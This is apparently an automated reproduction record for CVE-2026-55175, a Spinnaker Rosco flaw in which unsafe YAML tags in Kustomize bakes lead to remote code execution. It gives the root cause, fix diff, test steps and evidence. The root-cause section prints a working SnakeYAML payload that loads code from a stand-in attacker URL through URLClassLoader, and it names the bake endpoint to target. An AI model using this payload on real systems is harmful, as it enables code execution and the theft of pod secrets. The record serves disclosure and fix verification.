{"repro_id":"REPRO-2026-00289","version":6,"title":"Spinnaker Kustomize bake unsafe YAML tag processing leading to RCE","repro_type":"security","status":"published","severity":"high","description":"Spinnaker prior to 2026.1.1/2026.0.3/2025.4.4/2025.3.4 allows unsafe YAML tag processing in Kustomize bake operations within rosco manifests, which can lead to remote code execution on rosco pods when performing Kustomize bakes.","root_cause":"## Summary\n\nCVE-2026-55175 is an unsafe YAML tag processing vulnerability in Spinnaker Rosco's Kustomize manifest bake path. In vulnerable Rosco builds, a remote Kustomize bake request sent to `POST /api/v2/manifest/bake/KUSTOMIZE` causes Rosco to fetch an attacker-controlled `kustomization.yaml` artifact from Clouddriver and parse it with SnakeYAML's general `Constructor(Kustomization.class)`. That constructor honors arbitrary YAML tags, allowing attacker-controlled Java object construction during YAML deserialization. The reproduction demonstrates this by loading a `!!javax.script.ScriptEngineManager` payload from an attacker-controlled URLClassLoader and writing an execution marker from the Rosco JVM, proving remote code execution.\n\n## Impact\n\n- **Package/component affected:** Spinnaker Rosco, specifically `io.spinnaker.rosco:rosco-manifests` and the Kustomize manifest bake flow exposed through `rosco-web`.\n- **Affected versions:** Advisory-listed affected ranges are Spinnaker/Rosco versions prior to `2026.1.1`, `2026.0.3`, `2025.4.4`, and `2025.3.4` on their respective release lines. The reproduction anchors the vulnerable build to `f5cec213f8cf207843ed5a6929395960a1ca094f^` (`d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3`) and the fixed build to `f5cec213f8cf207843ed5a6929395960a1ca094f`.\n- **Risk level and consequences:** High. An authenticated/authorized actor able to perform Kustomize bakes can cause code to execute inside Rosco pods. This can compromise the Rosco service account context, secrets reachable by the Rosco pod, and the integrity of generated deployment manifests.\n\n## Impact Parity\n\n- **Disclosed/claimed maximum impact:** Remote code execution on Rosco pods during Kustomize bake operations.\n- **Reproduced impact from this run:** Code execution in the Rosco JVM after an HTTP request to the real Rosco Kustomize bake endpoint. The payload is an attacker-controlled `ScriptEngineFactory` loaded from a URL in an unsafe YAML tag; its constructor writes a marker file proving execution.\n- **Parity:** `full`\n- **Not demonstrated:** N/A — the full RCE chain was demonstrated end-to-end through the real HTTP endpoint.\n\n## Root Cause\n\nThe vulnerable code in `KustomizationFileReader.convert()` uses SnakeYAML's `Constructor(Kustomization.class)` which extends `SafeConstructor` but overrides `getClassForName()` to allow instantiation of arbitrary Java classes via YAML tags. When processing an attacker-controlled `kustomization.yaml` fetched from Clouddriver, the YAML content:\n\n```yaml\nresources:\n  - !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://attacker/payload.jar\"]]]]\n```\n\ncauses SnakeYAML to:\n1. Create a `java.net.URL` pointing to the attacker's payload JAR\n2. Create a `java.net.URLClassLoader` loading from that URL\n3. Construct a `javax.script.ScriptEngineManager` which scans the classloader's `META-INF/services/javax.script.ScriptEngineFactory` entries\n4. Instantiate the attacker's `ScriptEngineFactory` implementation, executing arbitrary code in the constructor\n\nThe fix (commit `f5cec213f8cf207843ed5a6929395960a1ca094f`) replaces `Constructor` with `SafeConstructor` which only produces standard types (Map, List, String), then uses Jackson `ObjectMapper.convertValue()` to map the safe raw map to the `Kustomization` POJO. `SafeConstructor` does not honor arbitrary YAML tags, preventing the object instantiation attack.\n\n**Fix commit:** `f5cec213f8cf207843ed5a6929395960a1ca094f`\n\n**Key diff:**\n```diff\n-    Representer representer = new Representer();\n-    representer.getPropertyUtils().setSkipMissingProperties(true);\n-    return new Yaml(new Constructor(Kustomization.class), representer).load(downloadFile(artifact));\n+    Yaml yaml = new Yaml(new SafeConstructor(new LoaderOptions()));\n+    Map<String, Object> rawMap = yaml.load(downloadFile(artifact));\n+    return objectMapper.convertValue(rawMap, Kustomization.class);\n```\n\n## Reproduction Steps\n\n1. **Script:** `bundle/repro/reproduction_steps.sh`\n2. **What the script does:**\n   - Installs OpenJDK 17 if not present\n   - Reuses the prepared Spinnaker repository from the project cache (or clones from GitHub/mirror)\n   - Checks out the vulnerable commit (`d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3`, parent of the fix)\n   - Writes a Spring Boot integration test (`CVE202655175ApiRemoteReproTest.java`) that:\n     - Starts a real Rosco Spring Boot HTTP server on a random port via `@SpringBootTest(webEnvironment = RANDOM_PORT)`\n     - Stands up a WireMock Clouddriver peer that serves a malicious `kustomization.yaml` with `!!javax.script.ScriptEngineManager` YAML tag\n     - Builds a payload JAR containing a `ScriptEngineFactory` that writes a marker file on instantiation\n     - Sends a real HTTP POST to `http://127.0.0.1:<port>/api/v2/manifest/bake/KUSTOMIZE` with a Kustomize bake request referencing the attacker artifact\n     - Asserts that the payload marker file was created (proving code execution in the Rosco JVM)\n   - Runs the test twice on the vulnerable commit (expecting `payloadExecuted=true`)\n   - Checks out the fixed commit and runs the test twice (expecting `payloadExecuted=false` and HTTP error status)\n   - Verifies all four evidence markers match expectations\n3. **Expected evidence:**\n   - Vulnerable attempts: `clouddriverReached=true`, `payloadExecuted=true` (RCE confirmed)\n   - Fixed attempts: `clouddriverReached=true`, `payloadExecuted=false`, HTTP status >= 400 (fix confirmed)\n\n## Evidence\n\n- **Log files:**\n  - `bundle/logs/reproduction_steps.log` — full script output\n  - `bundle/logs/vulnerable_attempt_1.log` — first vulnerable Gradle test run\n  - `bundle/logs/vulnerable_attempt_2.log` — second vulnerable Gradle test run\n  - `bundle/logs/fixed_attempt_1.log` — first fixed Gradle test run\n  - `bundle/logs/fixed_attempt_2.log` — second fixed Gradle test run\n- **Evidence markers:**\n  - `bundle/repro/vulnerable_attempt_1.evidence.txt`\n  - `bundle/repro/vulnerable_attempt_2.evidence.txt`\n  - `bundle/repro/fixed_attempt_1.evidence.txt`\n  - `bundle/repro/fixed_attempt_2.evidence.txt`\n- **Key evidence excerpts (from vulnerable runs):**\n  ```\n  mode=vulnerable\n  clouddriverReached=true\n  payloadExecuted=true\n  ```\n- **Key evidence excerpts (from fixed runs):**\n  ```\n  mode=fixed\n  clouddriverReached=true\n  payloadExecuted=false\n  ```\n- **Environment:** OpenJDK 17, Gradle 7.6.1, Spinnaker monorepo at vulnerable/fixed commits, Spring Boot test HTTP server, WireMock Clouddriver artifact peer\n\n## Recommendations / Next Steps\n\n- **Upgrade guidance:** Upgrade Spinnaker/Rosco to version `2026.1.1`, `2026.0.3`, `2025.4.4`, or `2025.3.4` or later, which contain the `SafeConstructor` fix.\n- **Suggested fix approach:** The applied fix is correct — replacing `Constructor` with `SafeConstructor` and using Jackson for POJO mapping. Additionally, consider enabling SnakeYAML's `LoaderOptions.setAllowDuplicateKeys(false)` and limiting tag processing via `setAllowRecursiveKeys(false)` as defense-in-depth.\n- **Testing recommendations:** Add integration tests that send malicious YAML tags through the Kustomize bake endpoint to verify they are rejected. Consider adding SnakeYAML SafeConstructor usage as a code style requirement across all YAML parsing in Spinnaker services.\n\n## Additional Notes\n\n- **Idempotency:** The script is idempotent — it checks out specific commits, writes fresh test files, and cleans up evidence markers before each attempt. Running it multiple times produces the same results.\n- **Surface validation:** The reproduction exercises the real `api_remote` surface — a real Spring Boot HTTP endpoint accepting a real POST request to `/api/v2/manifest/bake/KUSTOMIZE`, with the Rosco service fetching the malicious artifact from a mock Clouddriver peer. This is the production path, not a library-level harness.\n- **Negative control:** The fixed commit (`f5cec213f8cf207843ed5a6929395960a1ca094f`) is tested with the same payload and correctly rejects the unsafe YAML tag without executing the payload, confirming the fix.\n","cve_id":"CVE-2026-55175","source_url":"https://github.com/spinnaker/spinnaker","package":{"name":"spinnaker/spinnaker","ecosystem":"github","affected_versions":"<2026.1.1, <2026.0.3, <2025.4.4, <2025.3.4"},"reproduced_at":"2026-07-15T19:15:59.089509+00:00","duration_secs":951.0,"tool_calls":149,"handoffs":2,"total_cost_usd":2.096161,"agent_costs":{"claim_matcher":0.016298,"judge":0.058544,"repro":1.143547,"support":0.082778,"vuln_variant":0.794994},"cost_breakdown":{"claim_matcher":{"gpt-5.4-mini-2026-03-17":0.016298},"judge":{"gpt-5.4-mini":0.058544},"repro":{"accounts/fireworks/routers/glm-5p2-fast":1.143547},"support":{"accounts/fireworks/routers/glm-5p2-fast":0.082778},"vuln_variant":{"accounts/fireworks/routers/glm-5p2-fast":0.794994}},"quality":{"confidence":"high","idempotent_verified":false,"community_verifications":0},"evidence":{"workflow":{"profile":"known_vulnerability","schema_version":1,"stages":["support","claim_contract","repro","judge","vuln_variant"]}},"environment":{"sandbox_image":"ghcr.io/n3mes1s/pruva-sandbox@sha256:8096b2518d6022e13d68f885c3b8ded6b4fe607098b1a1ccbfb99abc004d1dc1"},"published_at":"2026-07-15T19:16:00.364641+00:00","retracted":false,"artifacts":[{"path":"bundle/repro/reproduction_steps.sh","filename":"reproduction_steps.sh","size":19719,"category":"reproduction_script"},{"path":"bundle/repro/rca_report.md","filename":"rca_report.md","size":8069,"category":"analysis"},{"path":"bundle/vuln_variant/reproduction_steps.sh","filename":"reproduction_steps.sh","size":20911,"category":"reproduction_script"},{"path":"bundle/vuln_variant/rca_report.md","filename":"rca_report.md","size":11113,"category":"analysis"},{"path":"bundle/vuln_variant/source_identity.json","filename":"source_identity.json","size":797,"category":"other"},{"path":"bundle/vuln_variant/root_cause_equivalence.json","filename":"root_cause_equivalence.json","size":1170,"category":"other"},{"path":"bundle/repro/vulnerable_attempt_1.evidence.txt","filename":"vulnerable_attempt_1.evidence.txt","size":566,"category":"other"},{"path":"bundle/repro/vulnerable_attempt_2.evidence.txt","filename":"vulnerable_attempt_2.evidence.txt","size":566,"category":"other"},{"path":"bundle/repro/fixed_attempt_1.evidence.txt","filename":"fixed_attempt_1.evidence.txt","size":379,"category":"other"},{"path":"bundle/repro/fixed_attempt_2.evidence.txt","filename":"fixed_attempt_2.evidence.txt","size":379,"category":"other"},{"path":"bundle/logs/reproduction_steps.log","filename":"reproduction_steps.log","size":168213,"category":"log"},{"path":"bundle/repro/validation_verdict.json","filename":"validation_verdict.json","size":725,"category":"other"},{"path":"bundle/repro/runtime_manifest.json","filename":"runtime_manifest.json","size":1046,"category":"other"},{"path":"bundle/logs/vulnerable_attempt_1.log","filename":"vulnerable_attempt_1.log","size":19638,"category":"log"},{"path":"bundle/logs/vulnerable_attempt_2.log","filename":"vulnerable_attempt_2.log","size":19638,"category":"log"},{"path":"bundle/logs/fixed_attempt_1.log","filename":"fixed_attempt_1.log","size":19638,"category":"log"},{"path":"bundle/logs/fixed_attempt_2.log","filename":"fixed_attempt_2.log","size":19638,"category":"log"},{"path":"bundle/vuln_variant/vulnerable_attempt_1.evidence.txt","filename":"vulnerable_attempt_1.evidence.txt","size":627,"category":"other"},{"path":"bundle/vuln_variant/fixed_attempt_1.evidence.txt","filename":"fixed_attempt_1.evidence.txt","size":441,"category":"other"},{"path":"bundle/vuln_variant/patch_analysis.md","filename":"patch_analysis.md","size":6073,"category":"documentation"},{"path":"bundle/vuln_variant/variant_manifest.json","filename":"variant_manifest.json","size":4162,"category":"other"},{"path":"bundle/vuln_variant/validation_verdict.json","filename":"validation_verdict.json","size":1034,"category":"other"},{"path":"bundle/vuln_variant/runtime_manifest.json","filename":"runtime_manifest.json","size":1270,"category":"other"},{"path":"bundle/logs/vuln_variant/reproduction_steps.log","filename":"reproduction_steps.log","size":5502,"category":"log"},{"path":"bundle/logs/vuln_variant/vulnerable_attempt_1.log","filename":"vulnerable_attempt_1.log","size":19638,"category":"log"},{"path":"bundle/logs/vuln_variant/fixed_attempt_1.log","filename":"fixed_attempt_1.log","size":19638,"category":"log"}]}